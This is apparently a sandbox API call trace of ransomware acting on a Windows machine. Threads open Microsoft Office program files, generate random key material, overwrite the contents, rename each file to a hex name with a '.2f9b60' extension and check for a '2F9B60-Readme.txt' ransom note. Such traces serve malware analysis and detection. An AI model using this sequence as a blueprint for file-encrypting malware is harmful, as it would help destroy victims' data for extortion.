RtlAnsiStringToUnicodeString (in: DestinationString=0x1d23f7d8, SourceString="9bc428c6da68fd58d25c00623cf18cad38646e4a369fa5b5f316152b114b7b38239c74f7c1f16df5ce97", AllocateDestinationString=1 | out: DestinationString="9bc428c6da68fd58d25c00623cf18cad38646e4a369fa5b5f316152b114b7b38239c74f7c1f16df5ce97") returned 0x0 [0140.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107c00 [0140.894] RtlFreeAnsiString (AnsiString="9") [0140.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d9d0) returned 1 [0140.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9eeb0) returned 1 [0140.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0140.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0140.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0140.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202675c0) returned 1 [0140.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f570) returned 1 [0140.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674d0) returned 1 [0140.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0140.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267230) returned 1 [0140.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0140.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205dcd0 [0140.895] wcscat (in: _Dest=0x4205dcd0, _Source="9bc428c6da68fd58d25c0" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\9bc428c6da68fd58d25c0") returned="C:\\Program Files\\Microsoft Office\\Office14\\9bc428c6da68fd58d25c0" [0140.895] wcscat (in: _Dest=0x4205dcd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\9bc428c6da68fd58d25c0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\9bc428c6da68fd58d25c0.2f9b60" [0140.895] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\9bc428c6da68fd58d25c0.2f9b60", NtPathName=0x1d23f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\9bc428c6da68fd58d25c0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0140.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x107600 [0140.896] NtSetInformationFile (FileHandle=0x1bfc, IoStatusBlock=0x1d23f850, FileInformation=0x107600, Length=0xae, FileInformationClass=0xa) returned 0x0 [0148.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107600) returned 1 [0148.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fbd20) returned 1 [0148.259] NtQueryInformationFile (in: FileHandle=0x1bfc, IoStatusBlock=0x1d23f818, FileInformation=0x1d23f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d23f818, FileInformation=0x1d23f828) returned 0x0 [0148.259] NtSetInformationFile (FileHandle=0x1bfc, IoStatusBlock=0x1d23f818, FileInformation=0x1d23f828, Length=0x28, FileInformationClass=0x4) [0201.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dcd0) returned 1 [0201.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107c00) returned 1 [0201.752] FlushFileBuffers (hFile=0x1bfc) returned 1 [0201.756] CloseHandle (hObject=0x1bfc) returned 1 [0205.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x43154960 [0205.864] wcscpy (in: _Dest=0x43154960, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0205.864] wcscat (in: _Dest=0x43154960, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0205.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0205.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43154960) returned 1 [0205.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b490) returned 1 Thread: id = 1715 os_tid = 0xfc4 [0130.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.inf")) returned 0x20 [0132.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF", dwFileAttributes=0x20) returned 1 [0133.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.inf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c20 [0134.510] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2117f900 | out: lpFileSize=0x2117f900*=2636) returned 1 [0134.510] SetFilePointerEx (in: hFile=0x1c20, liDistanceToMove=0xa48, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.510] ReadFile (in: hFile=0x1c20, lpBuffer=0x2117f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2117f8c8, lpOverlapped=0x0 | out: lpBuffer=0x2117f880*, lpNumberOfBytesRead=0x2117f8c8*=0x4, lpOverlapped=0x0) returned 1 [0134.532] SetFilePointerEx (in: hFile=0x1c20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0134.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202677d0 [0134.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267860 [0134.532] NtQuerySystemTime (in: CurrentTime=0x2117f7c0 | out: CurrentTime=0x2117f7c0*=132462177397678000) returned 0x0 [0134.532] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x3fa76937 [0134.532] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x4a8b6390 [0134.532] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x436eaa8c [0134.532] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0xfe12e39 [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x63ede938 [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x455edbfd [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x6af7c77e [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x5a544e5d [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0xed885b0 [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x61988082 [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x565ea9d3 [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x207b6ff7 [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x5f2ec0bd [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x3fc773f9 [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x75881355 [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x7338c9ff [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x7c0ddd3a [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x1b4f894 [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x6c55ed4 [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x6778407a [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x34bd747e [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x2da1c13d [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x18c029e [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x321be9e6 [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x17565163 [0134.533] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x221f6f5b [0134.534] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x2346f692 [0134.534] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x391e7471 [0134.534] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0xad36d71 [0134.534] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x41e8d2ef [0134.534] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x2fc8f37e [0134.534] RtlRandomEx (in: Seed=0x2117f7b0 | out: Seed=0x2117f7b0) returned 0x5482ca51 [0134.543] ReadFile (in: hFile=0x1c20, lpBuffer=0x41cc85a0, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x2117f7b0, lpOverlapped=0x0 | out: lpBuffer=0x41cc85a0*, lpNumberOfBytesRead=0x2117f7b0*=0xa4c, lpOverlapped=0x0) returned 1 [0134.543] SetFilePointerEx (in: hFile=0x1c20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.543] WriteFile (in: hFile=0x1c20, lpBuffer=0x41ccc1b0*, nNumberOfBytesToWrite=0xa4c, lpNumberOfBytesWritten=0x2117f7b4, lpOverlapped=0x0 | out: lpBuffer=0x41ccc1b0*, lpNumberOfBytesWritten=0x2117f7b4*=0xa4c, lpOverlapped=0x0) returned 1 [0135.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b30 [0135.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263950 [0135.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263950) returned 1 [0135.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ccc1b0) returned 1 [0135.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cc85a0) returned 1 [0135.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0135.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978a0) returned 1 [0135.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20263950 [0135.330] SetFilePointerEx (in: hFile=0x1c20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.330] WriteFile (in: hFile=0x1c20, lpBuffer=0x169a20*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2117f8d0, lpOverlapped=0x0 | out: lpBuffer=0x169a20*, lpNumberOfBytesWritten=0x2117f8d0*=0x108, lpOverlapped=0x0) returned 1 [0135.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0135.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5f0 [0135.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b5f0) returned 1 [0135.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0135.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5f0 [0135.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0135.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0135.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0135.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cda0070 [0135.394] sprintf (in: _Dest=0x1cda0070, _Format="%c%c" | out: _Dest="8b") returned 2 [0135.394] sprintf (in: _Dest=0x1cda0072, _Format="%c%c" | out: _Dest="2b") returned 2 [0135.394] sprintf (in: _Dest=0x1cda0074, _Format="%c%c" | out: _Dest="e5") returned 2 [0135.394] sprintf (in: _Dest=0x1cda0076, _Format="%c%c" | out: _Dest="21") returned 2 [0135.394] sprintf (in: _Dest=0x1cda0078, _Format="%c%c" | out: _Dest="cc") returned 2 [0135.394] sprintf (in: _Dest=0x1cda007a, _Format="%c%c" | out: _Dest="7c") returned 2 [0135.395] sprintf (in: _Dest=0x1cda007c, _Format="%c%c" | out: _Dest="30") returned 2 [0135.395] sprintf (in: _Dest=0x1cda007e, _Format="%c%c" | out: _Dest="1e") returned 2 [0135.395] sprintf (in: _Dest=0x1cda0080, _Format="%c%c" | out: _Dest="47") returned 2 [0135.395] sprintf (in: _Dest=0x1cda0082, _Format="%c%c" | out: _Dest="da") returned 2 [0135.395] sprintf (in: _Dest=0x1cda0084, _Format="%c%c" | out: _Dest="aa") returned 2 [0135.395] sprintf (in: _Dest=0x1cda0086, _Format="%c%c" | out: _Dest="e3") returned 2 [0135.395] sprintf (in: _Dest=0x1cda0088, _Format="%c%c" | out: _Dest="b5") returned 2 [0135.395] sprintf (in: _Dest=0x1cda008a, _Format="%c%c" | out: _Dest="aa") returned 2 [0135.395] sprintf (in: _Dest=0x1cda008c, _Format="%c%c" | out: _Dest="f4") returned 2 [0135.395] sprintf (in: _Dest=0x1cda008e, _Format="%c%c" | out: _Dest="52") returned 2 [0135.395] sprintf (in: _Dest=0x1cda0090, _Format="%c%c" | out: _Dest="fe") returned 2 [0135.395] sprintf (in: _Dest=0x1cda0092, _Format="%c%c" | out: _Dest="36") returned 2 [0135.395] sprintf (in: _Dest=0x1cda0094, _Format="%c%c" | out: _Dest="67") returned 2 [0135.395] sprintf (in: _Dest=0x1cda0096, _Format="%c%c" | out: _Dest="48") returned 2 [0135.395] sprintf (in: _Dest=0x1cda0098, _Format="%c%c" | out: _Dest="2f") returned 2 [0135.395] sprintf (in: _Dest=0x1cda009a, _Format="%c%c" | out: _Dest="09") returned 2 [0135.395] RtlInitAnsiString (in: DestinationString=0x2117f948, SourceString="8b2be521cc7c301e47daaae3b5aaf452fe3667482f09" | out: DestinationString="8b2be521cc7c301e47daaae3b5aaf452fe3667482f09") [0135.395] RtlAnsiStringToUnicodeString (in: DestinationString=0x2117f918, SourceString="8b2be521cc7c301e47daaae3b5aaf452fe3667482f09", AllocateDestinationString=1 | out: DestinationString="8b2be521cc7c301e47daaae3b5aaf452fe3667482f09") returned 0x0 [0135.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced8e50 [0135.396] wcscat (in: _Dest=0x202a4fe0, _Source="8b2be521cc7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\8b2be521cc7") returned="C:\\Program Files\\Microsoft Office\\Office14\\8b2be521cc7" [0135.396] wcscat (in: _Dest=0x202a4fe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\8b2be521cc7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\8b2be521cc7.2f9b60" [0135.396] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\8b2be521cc7.2f9b60", NtPathName=0x2117f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\8b2be521cc7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad970 [0135.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad970) returned 1 [0135.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48040) returned 1 [0135.619] NtQueryInformationFile (in: FileHandle=0x1c20, IoStatusBlock=0x2117f958, FileInformation=0x2117f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2117f958, FileInformation=0x2117f968) returned 0x0 [0135.619] NtSetInformationFile (FileHandle=0x1c20, IoStatusBlock=0x2117f958, FileInformation=0x2117f968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0135.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4fe0) returned 1 [0135.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8e50) returned 1 [0135.622] FlushFileBuffers (hFile=0x1c20) returned 1 [0138.534] CloseHandle (hObject=0x1c20) returned 1 [0138.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b160 [0138.631] wcscpy (in: _Dest=0x1b86b160, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0138.631] wcscat (in: _Dest=0x1b86b160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0138.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0138.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b160) returned 1 [0138.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 Thread: id = 1716 os_tid = 0x16e4 [0130.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.ppd")) returned 0x20 [0132.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD", dwFileAttributes=0x20) returned 1 [0133.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.ppd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c04 [0134.530] GetFileSizeEx (in: hFile=0x1c04, lpFileSize=0x2207f7a0 | out: lpFileSize=0x2207f7a0*=6829) returned 1 [0134.530] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x1aa9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.530] ReadFile (in: hFile=0x1c04, lpBuffer=0x2207f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2207f768, lpOverlapped=0x0 | out: lpBuffer=0x2207f720*, lpNumberOfBytesRead=0x2207f768*=0x4, lpOverlapped=0x0) returned 1 [0134.561] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267860 [0134.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678f0 [0134.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267920 [0134.562] NtQuerySystemTime (in: CurrentTime=0x2207f660 | out: CurrentTime=0x2207f660*=132462177397990000) returned 0x0 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x67c012f0 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x791b2fd8 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x407c9406 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x4dcf63e0 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x5ed7b3c [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x23dee0e1 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x43fc0f50 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x3a6e009c [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x21321a7f [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x79265615 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x2063bbae [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x6f8d40b8 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x2f10632 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x7171a5a3 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0xdaa9892 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x2a7a22d1 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x271585fc [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x10c9ea64 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x4fcef3e2 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x40387cb9 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0xb1526ff [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x77e04ac9 [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x37c6645d [0134.562] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x7d11eb4a [0134.563] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x3646ec0f [0134.563] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x3cfd55a9 [0134.563] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x1dab5c37 [0134.563] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x63646332 [0134.563] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x4aadcee0 [0134.563] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x398b7721 [0134.563] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x4158e27d [0134.563] RtlRandomEx (in: Seed=0x2207f650 | out: Seed=0x2207f650) returned 0x575e83b4 [0134.573] ReadFile (in: hFile=0x1c04, lpBuffer=0x41cd3cc0, nNumberOfBytesToRead=0x1aad, lpNumberOfBytesRead=0x2207f650, lpOverlapped=0x0 | out: lpBuffer=0x41cd3cc0*, lpNumberOfBytesRead=0x2207f650*=0x1aad, lpOverlapped=0x0) returned 1 [0134.611] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.612] WriteFile (in: hFile=0x1c04, lpBuffer=0x41cd78d0*, nNumberOfBytesToWrite=0x1aad, lpNumberOfBytesWritten=0x2207f654, lpOverlapped=0x0 | out: lpBuffer=0x41cd78d0*, lpNumberOfBytesWritten=0x2207f654*=0x1aad, lpOverlapped=0x0) returned 1 [0135.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205057b0 [0135.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205057e0 [0135.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205057e0) returned 1 [0135.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cd78d0) returned 1 [0135.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cd3cc0) returned 1 [0135.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0135.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0135.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x205057e0 [0135.343] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.343] WriteFile (in: hFile=0x1c04, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2207f770, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2207f770*=0x108, lpOverlapped=0x0) returned 1 [0135.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0135.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0135.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267a70) returned 1 [0135.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0135.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0135.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a40 [0135.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267a40) returned 1 [0135.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0135.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cda0070 [0135.407] sprintf (in: _Dest=0x1cda0070, _Format="%c%c" | out: _Dest="4e") returned 2 [0135.407] sprintf (in: _Dest=0x1cda0072, _Format="%c%c" | out: _Dest="e0") returned 2 [0135.407] sprintf (in: _Dest=0x1cda0074, _Format="%c%c" | out: _Dest="5d") returned 2 [0135.407] sprintf (in: _Dest=0x1cda0076, _Format="%c%c" | out: _Dest="8f") returned 2 [0135.407] sprintf (in: _Dest=0x1cda0078, _Format="%c%c" | out: _Dest="4a") returned 2 [0135.407] sprintf (in: _Dest=0x1cda007a, _Format="%c%c" | out: _Dest="92") returned 2 [0135.407] sprintf (in: _Dest=0x1cda007c, _Format="%c%c" | out: _Dest="28") returned 2 [0135.407] sprintf (in: _Dest=0x1cda007e, _Format="%c%c" | out: _Dest="67") returned 2 [0135.407] sprintf (in: _Dest=0x1cda0080, _Format="%c%c" | out: _Dest="04") returned 2 [0135.407] sprintf (in: _Dest=0x1cda0082, _Format="%c%c" | out: _Dest="d2") returned 2 